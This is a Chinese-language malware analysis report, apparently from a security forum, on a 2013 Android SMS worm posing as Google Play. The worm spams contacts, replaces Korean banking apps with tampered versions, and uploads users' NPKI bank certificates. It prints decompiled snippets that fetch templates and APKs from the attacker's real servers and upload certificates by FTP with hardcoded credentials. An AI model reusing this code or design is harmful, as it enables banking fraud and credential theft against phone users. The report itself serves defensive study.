1 背景
2013年9月22日,我们监测到一种通过短信传播的手机恶意软件,短信中包含一个网址链接,用户点击后,即在用户不知情的情况下自动向手机通讯录中的联系人群发短信。我们通过分析,确认该恶意软件存在隐私窃取、资费消耗、诱骗欺诈等恶意行为。现将该恶意程序的分析结论详细报告如下。
2 分析结论
通过访问短信中的网址链接,自动下载kakaobe.apk程序。该程序存在以下问题:
(1) 伪装为GooglePlay后台运行:该程序安装后在主屏生成图标 ,伪装为GooglePlay应用,启动后弹出GooglePlay主界面,并在后台运行恶意程序,用户无感知,无法正常退出。
(2) 群发短信:启动后读取用户的通讯录信息,从网络端获取短信模板,给通讯录中的每个联系人发送短信,短信的内容通过网络获取,包含恶意程序的URL链接,造成该恶意程序大量传播。
(3) 安装恶意伪装程序:应用启动后同时启动服务,遍历已安装的应用,如果匹配到已安装的应用为韩国银行应用,提示用户应用有更新,诱骗用户升级,用户确认后将原应用删除,然后从服务器端下载经过篡改的同一应用并安装。导致用户的原始应用被更新为经过篡改的伪装程序。
(4) 上传用户证书:获取用户的数字签名证书,打包成zip文件后,上传到程序中指定的FTP服务器上,造成用户的证书信息泄露。
3 病毒工作原理
3.1 伪装为GooglePlay后台运行
(1) 应用安装完之后将图标设置为GooglePlay的图标
(2) 应用在启动时启动GooglePlay的主页面达到伪装效果
Intent localIntent3 = new Intent();
ComponentName localComponentName2 = newComponentName("com.android.vending", "com.android.vending.AssetBrowserActivity");
Intent localIntent4 = localIntent3.setComponent(localComponentName2);
startActivity(localIntent3);
3.2 群发恶意短信
(1) 安装后首次运行时,或者清除数据强制停止后再次运行时,会进行短信群发。
(2) 启动后首先获取所有联系人数据。在sendMessageThread的run()方法中获取联系人数据:
publicvoid run()
{
super.run();
try
{
SharedPreferences localSharedPreferences =this.preferences;
String str1 = PREFERENCE_KEY_IS_SEND_MESSAGE;
if(localSharedPreferences.getBoolean(str1,0));
while(true)
{
return;
List localList =getAllPhoneNumber();
this.mListPhoneNumber = localList;
StringBuilder localStringBuilder = new StringBuilder("*******phone number size=");
int i = this.mListPhoneNumber.size();
String str2 = i;
int j = Log.d("dream", str2);
str3 = WrapperInterFace.getSendMessageContent();
LogUtils.logDebug("***send message=" + str3);
(3) 获取短信模板,从服务器d3.sbsbe.com上获取memo.txt:
publicstatic String getSendMessageContent()
throws JSONException
{
String str =JsonParseToString.getStingWebServiceGet("http://d3.sbsbe.com:8080/memo.txt");
if(str !=null);
while(tru
{
return str;
str =null;
}
}
如果服务器成功返回,获取应答包的内容(也就是短信模板):
if (localHttpResponse.getStatusLine().getStatusCode() == 200)
str5 = EntityUtils.toString(localHttpResponse.getEntity(), "UTF-8");
如果服务器超时未返回,获取默认短信模板:
catch (ConnectTimeoutException localConnectTimeoutException)
{
while (true)
{
localConnectTimeoutException.printStackTrace();
str6 = "{\"myerror\":\"Exception\"}";
}
}
(4) 给通讯录中的所有用户群发短信,通过循环给所有通讯录中的联系人发短信,短信的内容通过网络获取:
while (true)
{
String str3;
int k;
localException.printStackTrace();
continue;
String str5 = (String)this.mListPhoneNumber.get(k);
sendMessage(str5, str3);
k += 1;
}
3.3 下载安装恶意伪装程序
(1) 应用一旦启动,会在MainActivity的onCreate方法中启动Mainservices,Mainservices用于监控是否已安装银行类应用。
Intent localIntent2 = localIntent1.setClass(this, Mainservices.class);
ComponentName localComponentName1 = startService(localIntent1);
(2) 服务启动后,先调用isAvilible函数遍历用户已安装的app,查找用户是否有安装以下韩国银行类应用:
String str26 = "com.kbstar.kbbank";
if (!isAvilible(localMainservices4, str26))
String str28 = "nh.smart";
if (!isAvilible(localMainservices5, str28))
String str30 = "com.webcash.wooribank";
if (!isAvilible(localMainservices6, str30))
(3) 如果存在,则删除原有应用,通过给系统发消息的方式卸载应用,不需要声明卸载权限:
Utils.unInstallAPK(this, str);
……
public static void unInstallAPK(Context paramContext, String paramString)
{
Uri localUri = Uri.parse("package:" + paramString);
Intent localIntent1 = new Intent("android.intent.action.DELETE", localUri);
Intent localIntent2 = localIntent1.setFlags(276824064);
paramContext.startActivity(localIntent1);
}
(4) 同时监控删除APP的广播,
String str1 = paramIntent.getAction();
if ("android.intent.action.PACKAGE_REMOVED".equals(str1));
(5) 如果发现有应用被删除,而且匹配到删除的app与监控的三个app相同时就会连接到远端服务器,下载经过篡改的APP
publicstatic String APK_1_URL ="http://198.148.81.75:8080/1.apk";
publicstatic String APK_4_URL = "http://198.148.81.75:8080/4.apk";
publicstatic String APK_5_URL = "http://198.148.81.75:8080/5.apk";
……
if (!packageName1Old.equals(str2))
{
String str5 = Mainservices.APK_1_URL;
newDownloadThread(paramContext, str5).start();
……
String str7 = Mainservices.APK_4_URL;
newDownloadThread(paramContext, str7).start();
}
(6) 下载后安装,通过给系统发消息的方式安装应用,不需要声明申请安装包权限;
boolean bool = Utils.downloadBIN(str3, str4, str2);
Utils.installAPK(localContext, str6);
……
public static void installAPK(Context paramContext, String paramString)
{
Intent localIntent1 = new Intent("android.intent.action.VIEW");
String str = paramString;
Uri localUri = Uri.parse("file://" + str);
Intent localIntent2 = localIntent1.setDataAndType(localUri, "application/vnd.android.package-archive");
Intent localIntent3 = localIntent1.setFlags(268435456);
paramContext.startActivity(localIntent1);
}
3.4 获取用户银行证书
(1) Mainservices服务中会启动UploadFileThread线程来上传文件;
uploadFileThread localUploadFileThread1 = new com/google/cckun/UploadFileThread;
localUploadFileThread1.start();
(2) 应用首先读取用户存放银行证书的目录,文件的名字为手机号码.zip;
String str3 = Utils.getDevicePhoneNumber(this.context);
StringBuilder localStringBuilder1 =new StringBuilder();
File localFile1 = Environment.getExternalStorageDirectory();
String str4 = localFile1 +"/NPKI/" + str3 + ".zip";
StringBuilder localStringBuilder2 =new StringBuilder();
File localFile2 = Environment.getExternalStorageDirectory();
String str5 = localFile2 +"/NPKI";
String str6 ="****zipfilename=" + str4 +",src file path=" + str5;
(3) 通过ftp的方式上传至FTP服务器;
publicstatic String IP_ADDRESS = "d3.sbsbe.com";
publicstatic String USER_NAME = "123123";
publicstatic String USER_PASSWORD = "123123";
……
String str9 = IP_ADDRESS;
String str10 = USER_NAME;
String str11 = USER_PASSWORD;
boolean bool2 = Utils.postToFtp(str9, str10, str11, localFile3);
NPKI:基于PKI公钥体系的嵌套证书认证体系。Android和windows有一个单一的空间来保存NPKI证书。
4 附录
4.1 分析过程记录
(1) 点击链接http://happy.kakaobe.com,系统开始自动下载,下载名为downloadfile.apk的应用;
注:downloadfile.apk和kakaobe.apk为同一应用。
(2) 安装时提示的权限:
(3) 下载完成后,手工安装此文件,安装后的应用在主屏上生成如下图标:
(4) 应用启动后会先启动GooglePlay的页面,伪装成GooglePlay,主程序在后台运行。
(5) 应用获取手机号码:
(6) 读取通讯录信息:
(7) 往通讯录中存储的号码,发送短信:
(8) 该应用启动后同时启动监控服务,当扫描到有韩国银行类应用时,该应用会在后台开始下载被篡改的应用,然后在通知栏上弹出伪造的更新提示,提示的内容为应用更新,诱骗用户进行更新:
提示信息在google翻译中显示的结果:
(9) 当用户点击通知后,提示用户进行卸载,卸载原应用:
(10) 卸载完成后,安装被篡改的应用:
(11) 该应用不提供“退出”功能。只能在“系统->应用->正在运行”中强制停止。
4.2 动态行为日志
4.3 域名分析
4.3.1 短信模板下载地址
域名地址: d3.sbsbe.com
IP地址: 198.148.81.79
数字地址: 3331608911
物理位置: 美国 蒙大拿州Sharktech机房
4.3.2 恶意程序下载地址
IP地址: 198.148.81.75
数字地址: 3331608907
物理位置: 美国 蒙大拿州Sharktech机房
4.3.3 数字证书上传地址
域名地址: d3.sbsbe.com
IP地址: 198.148.81.79
数字地址: 3331608911
物理位置: 美国 蒙大拿州Sharktech机房
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!